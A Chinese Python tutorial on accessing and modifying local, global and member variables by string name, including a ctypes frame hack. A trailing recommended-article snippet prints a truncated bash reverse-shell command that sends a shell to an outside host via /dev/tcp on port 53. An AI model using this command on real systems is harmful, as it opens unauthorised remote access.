Python3通过字符串访问与修改局部变量
技术背景
在Python中定义一个函数时,就会把变量空间划分为全局变量(global)与局部变量(local),如果是定义在一个类的成员函数中,那么就还有额外的成员变量(self)空间。那么,如果在实际操作中,想把这几种不同的变量空间做一个分离的话,有没有办法呢?
读取和修改局部变量
首先来看一下局部变量的读取,一般有locals()
、vars()
和sys._getframe(0).f_code.co_varnames
这几种方法,另外有一种sys._getframe(0).f_locals
的方法,其实等价于locals()
,相关的实现代码如下:
x = 0
class Obj:
def __init__(self,y):
self.func(y)
def func(y, z=1):
m = 2
print (locals())
print (vars())
print (__import__('sys')._getframe(0).f_code.co_varnames)
if __name__ == '__main__':
Obj(2)
该代码的运行结果如下:
{'self': <__main__.Obj object at 0x7f5cf5e74e50>, 'y': 2, 'z': 1, 'm': 2}
{'self': <__main__.Obj object at 0x7f5cf5e74e50>, 'y': 2, 'z': 1, 'm': 2}
('self', 'y', 'z', 'm')
在vars方法不加具体变量名的时候,就是等价于locals方法,两者返回的结果都是字典格式。如果是一个类中的成员函数下执行locals或者vars,会附带一个__main__.Obj object
的变量,相当于所有self的成员变量,其实也是局部变量的一部分。而如果使用co_varnames
的方法,那么得到的就是所有局部变量的名称,我们也可以在例子中额外定义一个self的成员变量:
x = 0
class Obj:
def __init__(self, y):
self.p = 5
self.func(y)
def func(self, y, z=1):
m = 2
print(locals())
print(vars())
print(__import__('sys')._getframe(0).f_code.co_varnames)
if __name__ == '__main__':
Obj(2)
# {'self': <__main__.Obj object at 0x7fe9aac0ce50>, 'y': 2, 'z': 1, 'm': 2}
# {'self': <__main__.Obj object at 0x7fe9aac0ce50>, 'y': 2, 'z': 1, 'm': 2}
# ('self', 'y', 'z', 'm')
可以发现,所有的成员变量都被放在了self中。并且需要注意的是,全局变量x
自始至终都没有在局部变量中出现。那么既然我们可以通过这种方式分离出局部变量,或者是局部变量的名称,那我们如何去调整或者修改这些局部变量呢?首先我们需要知道,locals()
方法返回的变量是一个copy,也就是说即使修改了locals方法返回的结果,也不能真正的改变局部变量本身的值,这样描述可能有点抽象,我们直接看下这个案例:
x = 0
class Obj:
def __init__(self,y):
self.func(y)
def func(self, y, z=1):
m = 2
vars()['z']=2
locals()['n']=3
print (locals())
print (z)
if __name__ == '__main__':
Obj(2)
在这个案例中分别通过vars方法和locals方法去修改局部变量的值,最终的输出结果如下:
{'self': <__main__.Obj object at 0x7f74d9470e50>, 'y': 2, 'z': 1, 'm': 2, 'n': 3}
1
首先要解释一下为什么这个案例中没有打印n
这个变量,前面提到vars和locals的返回值都是真实变量的一个copy,因此我们不管是修改也好,新增也好,内容不会同步到变量空间中去,也就是说,此时的局部变量n还是处于一个没有定义的状态,只是在locals或者vars的字典中存在,此时打印只会报错NameError。而z的最终打印输出是1,这表明z的值确实没有受到对vars的变量修改的影响。那到底有没有办法可以通过字符串去修改局部变量呢(不同步到全局变量)?答案是有的,但是这个方案非常的hacky,请看如下示例:
import ctypes
x = 0
class Obj:
def __init__(self,y):
self.func(y)
def func(self, y, z=1):
m = 2
__import__('sys')._getframe(0).f_locals.update({
'z': 2,'n': 3
})
ctypes.pythonapi.PyFrame_LocalsToFast(
ctypes.py_object(__import__('sys')._getframe(0)), ctypes.c_int(0))
print (locals())
print (z)
if __name__ == '__main__':
Obj(2)
这个案例是使用了Cython的方案直接去修改了数据帧的内容,而这里所使用的f_locals其实本质上就是locals。经过一番运行,输出结果如下:
{'self': <__main__.Obj object at 0x7fea2e2
a1e80>, 'y': 2, 'z': 2, 'm': 2, 'n': 3}
2
此时局部变量z是被成功修改了的,但是在前面提到的,即使我们通过这种方法修改了局部变量的值,但是依然不能通过这个方案去创建一个新的局部变量,此时去执行print (n)
的话,依然会有报错提示。
读取和修改全局变量
相比于修改局部变量,其实查看修改全局变量要显的更加容易。首先我们用一个示例演示一下如何查看所有的全局变量:
x = 0
class Obj:
def __init__(self,y):
self.func(y)
def func(self, y, z=1):
m = 2
print (globals())
if __name__ == '__main__':
Obj(2)
获取局部变量的方式有很多,但是获取全局变量一般就是globals或者等价的f_globals。上述代码执行输出如下:
{'__name__': '__main__', '__doc__': None, '__package__': None,
'__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f202632ac40>,
'__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>,
'__file__': 'xxx.py', '__cached__': None, 'x': 0, 'Obj': <class '__main__.Obj'>}
用这种方法我们发现了全局变量x,而在同一个函数内的几个局部变量,就没有显示在globals的key中。而不同于locals变量的是,globals函数返回的是一个真实的数据,是可以直接修改,并且在全局生效的。比如我们在函数内定义或者修改全局变量:
x = 0
class Obj:
def __init__(self,y):
self.func(y)
def func(self, y, z=1):
global m
m = 2
globals()['x']=3
if __name__ == '__main__':
Obj(2)
print(globals()['x'])
print(globals()['m'])
# 3
# 2
在这个例子中我们就可以发现,不仅仅是修改的x值生效了,新建的m也同步到了全局变量中,这样就可以比较容易的划分全局变量和局部变量再进行统一赋值或者修改。
读取和修改成员变量
在python中每一个定义的object都有一个隐藏属性__dict__
,这是一个字典,其中包含了所有的成员变量名和成员变量值。在前一篇博客中,我们就介绍了通过__dict__去给类中的成员变量进行赋值,非常的方便。我们可以通过一个示例来看看__dict__中所包含的内容:
x = 0
class Obj:
def __init__(self,y):
self.m = 2
self.func(y)
def func(self, y, z=1):
print (self.__dict__)
if __name__ == '__main__':
Obj(2)
# {'m': 2}
从输出结果中我们就可以看到,__dict__输出的内容非常的纯净,就是所有的成员变量名和变量值。而成员变量虽然是一个对象的属性,但是其操作方式跟全局变量globals是非常接近的,不像locals一样只读,具体示例如下:
x = 0
class Obj:
def __init__(self,y):
self.m = 2
self.func(y)
def func(self, y, z=1):
self.m = 5
self.__dict__['n'] = 6
print (self.__dict__)
print (self.m, self.n)
if __name__ == '__main__':
Obj(2)
# {'m': 5, 'n': 6}
# 5
# 6
在这个案例中,我们修改了成员变量的值,也使用__dict__新建了一个成员变量的值,可以看到最终都有同步到变量空间中,这样就完成了成员变量的修改。
总结概要
Python本身是一门比较灵活便捷的编程语言,但是便捷往往有可能伴随着一些风险,比如exec和eval等内置函数的实现,有可能导致sandbox escaping的问题。而有时候我们又需要一些批量化的操作,比如批量化的创建或者修改局部、全局或者是成员变量,这样就需要我们首先要把所有的变量名存成字符串,在需要的时候再作为变量名去调用。在这篇文章中,我们介绍了一系列非exec和eval的操作(并不是说没有风险,也引用了ctype和sys定义的数据帧),来查看和定义、修改所需的各种变量。
版权声明
本文首发链接为:https://www.cnblogs.com/dechinphy/p/modify-locals.html
作者ID:DechinPhy
更多原著文章请参考:https://www.cnblogs.com/dechinphy/
打赏专用链接:https://www.cnblogs.com/dechinphy/gallery/image/379634.html
腾讯云专栏同步:https://cloud.tencent.com/developer/column/91958
参考链接
Python3通过字符串访问与修改局部变量的更多相关文章
- 匿名内部类为什么访问外部类局部变量必须是final的?
1.内部类里面使用外部类的局部变量时,其实就是内部类的对象在使用它,内部类对象生命周期中都可能调用它,而内部类试图访问外部方法中的局部变量时,外部方法的局部变量很可能已经不存在了,那么就得延续其生命, ...
- 为什么Java匿名内部类访问的外部局部变量或参数需要被final修饰
大部分时候,类被定义成一个独立的程序单元.在某些情况下,也会把一个类放在另一个类的内部定义,这个定义在其他类内部的类就被称为内部类,包含内部类的类也被称为外部类. class Outer { priv ...
- 为什么局部内部类和匿名内部类只能访问 final 的局部变量?
首先,我们看一个局部内部类的例子: class OutClass { private int age = 12; public void outPrint(final int x) { class I ...
- 使用vscode访问和修改远程计算机文件
使用vscode访问和修改远程文件,分三步实现:在远程linux机器上安装rmate:在本地windows上安装openssh:在vscode中安装扩展remote vscode. 1. 在远程lin ...
- touch — 设定文件的访问和修改时间
PHP touch 设定文件的访问和修改时间 touch (PHP 4, PHP 5) touch — 设定文件的访问和修改时间 说明 bool touch ( string $filename [, ...
- Python3 格式化字符串
Python3 格式化字符串 在Python 3.6之前,有两种将Python表达式嵌入到字符串文本中进行格式化的主要方法:%-formatting和str.format() 一.%-formatti ...
- 【WPF】当 ItemsSource 正在使用时操作无效。改用 ItemsControl.ItemsSource 访问和修改元素
问题: 中文版报错:Additional information: 当 ItemsSource 正在使用时操作无效.改用 ItemsControl.ItemsSource 访问和修改元素. 英文版报错 ...
- Python3.x:访问带参数链接并且获取返回json串
Python3.x:访问带参数链接并且获取返回json串 示例一: import json import xml.dom.minidom from urllib import request, par ...
- Java学习笔记23---内部类之局部内部类只能访问final的局部变量
局部内部类是定义在方法体或代码块中的类,在笔记19中已有过简单介绍. 今天要讨论的是局部内部类为什么只能访问为常量的局部变量. 作者: 博客园--蝉蝉 请尊重作者劳动成果,转载请在标题注明“转载”字样 ...
随机推荐
- Qt:QSqlQuery
0.说明 QSqlQuery提供了执行SQL代码的方法. QSqlQuery封装了在QSqlDatabase中查询.检索数据的相关函数.它可以用来执行如SELECT.INSERT.UPDATE.DEL ...
- 居然可以像玩游戏一样学Git
工作中经常用到 git,但是用到的指令也都是比较初级的.简单的.当时学习的过程也是有点痛苦.各种概念理解起来要么靠想象,要么自己创建工程提交记录,然后执行指令,看具体效果.这样学下来是事倍功半. 在搜 ...
- Winform调用存储过程
数据表及数据准备: create table Member ( MemberId int primary key identity(1,1), MemberAccount nvarchar(20) u ...
- docker学习笔记(2)- 仓库
Docker仓库是镜像存储.分发.部署的关键,制作好应用程序镜像后上传到仓库,使用Docker daemon从仓库拉取后运行,我们可以使用官方共有仓库docker hub或者搭建私有仓库 Docker ...
- xshell + xftp 安装及1603错误解决
xshell + xftpan下载安装 百度网盘下载链接:https://pan.baidu.com/s/14orvEWDjFkrLvr_9JaG4Gw 提取码:om9z 下载地址 https://w ...
- tensorflow源码解析之framework-allocator
目录 什么是allocator 内存分配器的管理 内存分配追踪 其它结构 关系图 涉及的文件 迭代记录 1. 什么是allocator Allocator是所有内存分配器的基类,它定义了内存分配器需要 ...
- Spring系列26:Spring AOP 通知与顺序详解
本文内容 如何声明通知 如何传递参数到通知方法中 多种通知多个切面的通知顺序 多个切面通知的顺序源码分析与图解 声明通知 Spring中有5种通知,通过对应的注解来声明: @BeforeBefore ...
- surface重装系统后,屏幕亮度不能调节,显示适配器出现黄色三角、windows hello不能正常使用
surface重装系统后,屏幕亮度不能调节,显示适配器出现黄色三角,windows hello不能正常使用,解决方法是安装驱动精灵,更新硬件驱动重启即可解决
- 内置方法 __str__ __repr__
内置方法(双下方法,魔术方法) 在不需要程序员定义,本身就存在的类中的方法就是内置方法 内置方法: __名字__ __init__ 不需要我们主动调用,而是在实例化的时候内部自动调用的,存在一种 ...
- 53端口反弹shell
shell反弹 由于防火墙策略,导致并不能按预期的反弹shell,端口被封禁,可以使用53端口进行反弹shell 命令如下: bash -c 'sh -i &>/dev/tcp/210. ...